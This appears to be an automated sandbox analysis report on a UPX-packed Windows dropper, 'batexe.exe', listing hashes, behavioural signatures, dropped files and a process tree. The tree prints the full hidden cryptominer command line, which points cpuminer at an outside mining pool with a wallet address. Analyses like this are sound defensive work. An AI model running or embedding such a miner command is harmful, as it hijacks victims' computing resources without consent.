Analysis

  • max time kernel
    293s
  • max time network
    303s
  • platform
    windows10-1703_x64
  • resource
    win10-20240221-ja
  • resource tags

    arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    24/02/2024, 05:19

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2100
    • C:\Users\Admin\AppData\Local\Temp\76A7.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\76A7.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\76A7.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:960
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7976.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2472
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1492

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\76A7.tmp\b2e.exe

    Filesize

    5.0MB

    MD5

    7ffc044dd3e2401c6b722976fdc9f505

    SHA1

    762accc0ece3415ce3628aeb7aec3e6eccd953ee

    SHA256

    96e17b2ed4f07e5609f287f7f4312b88b1fbe4e49c6739eeb6b3627a3d27ee48

    SHA512

    91804ea277cd0c681471d2b89ec14404b7c965d43eba0913d072ac4f9d0d71d3b710d67704d18222174e9b120fa6ddcdf56fed3cb717b49ffcb5c57b603e6058

  • C:\Users\Admin\AppData\Local\Temp\76A7.tmp\b2e.exe

    Filesize

    4.4MB

    MD5

    ee08433e92a791a6ce68b2f323a16e7b

    SHA1

    dbeae3741c9c1810da32b76aafda19e699c98dbd

    SHA256

    1ce5a76de6868c3b7dc124002a983e097ee504d54e85bbda9bfeac4dc36bcd5e

    SHA512

    117f969a615dfde63093c265ed13e71463366e7c9df23511146f18c732a0e8d62b2c91b69ceb17294a7ad92a6dae452179cbae21fb8eb6e92227eb3dfa1a8fbc

  • C:\Users\Admin\AppData\Local\Temp\7976.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    128KB

    MD5

    87bb74a6790018700645a8310bb9a32a

    SHA1

    b0e3e91efa12e0df5ed4538d3b549ab5d9f6c16b

    SHA256

    ee6a846f1dcf082d5216bf314e65e1428af13ce54dfaaeb371d1c54f330c5298

    SHA512

    702e12a0858a1dd987d6a761f0ddc88fee9bce38be3d71f8c9be3fecc8cc6e88763967140f83caf4f2e10109ab95b811bb70bc70ff0b5cce8f0f32713ad3683b

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    6.4MB

    MD5

    f80d37ddadda33f7b31810f474be12dc

    SHA1

    5d54ada0f6d470d6612afa9db1d657171dc1bcd6

    SHA256

    3006e4db07003237971fdfd5d4a88a6ad520496156918b83427866ae7d9c8f70

    SHA512

    fbc5ebf8321ceb780b06b6d73cc980510013a96ee4fa4878456156f42dac685ad23378419dd7855a8f125b59dec50fc8651edbde9f73ac4034b1ba0d6ede99fd

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    5.7MB

    MD5

    c619be7aff6c0186635c70e7efed7756

    SHA1

    d958ea7c5a47a6bf9c080c834faec70bc0cfa154

    SHA256

    4a29efcc5e99de9d304870b8e49dac527c73ba5ba3d092a3282be189fda9ccb7

    SHA512

    579ccccd6c5803bc3f75386ecbd4c72ac0ae5a4139529b043f7ff0d8d04cace868e84696fbd3fceaa64b8118b1fc05c6ef5c32244cb628ca95fe61f1e6f44bb7

  • \Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/960-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/960-4-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/1492-44-0x00000000010D0000-0x0000000002985000-memory.dmp

    Filesize

    24.7MB

  • memory/1492-56-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1492-41-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/1492-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1492-43-0x000000005AE90000-0x000000005AF28000-memory.dmp

    Filesize

    608KB

  • memory/1492-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1492-51-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1492-42-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/1492-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1492-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1492-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1492-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1492-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2100-6-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB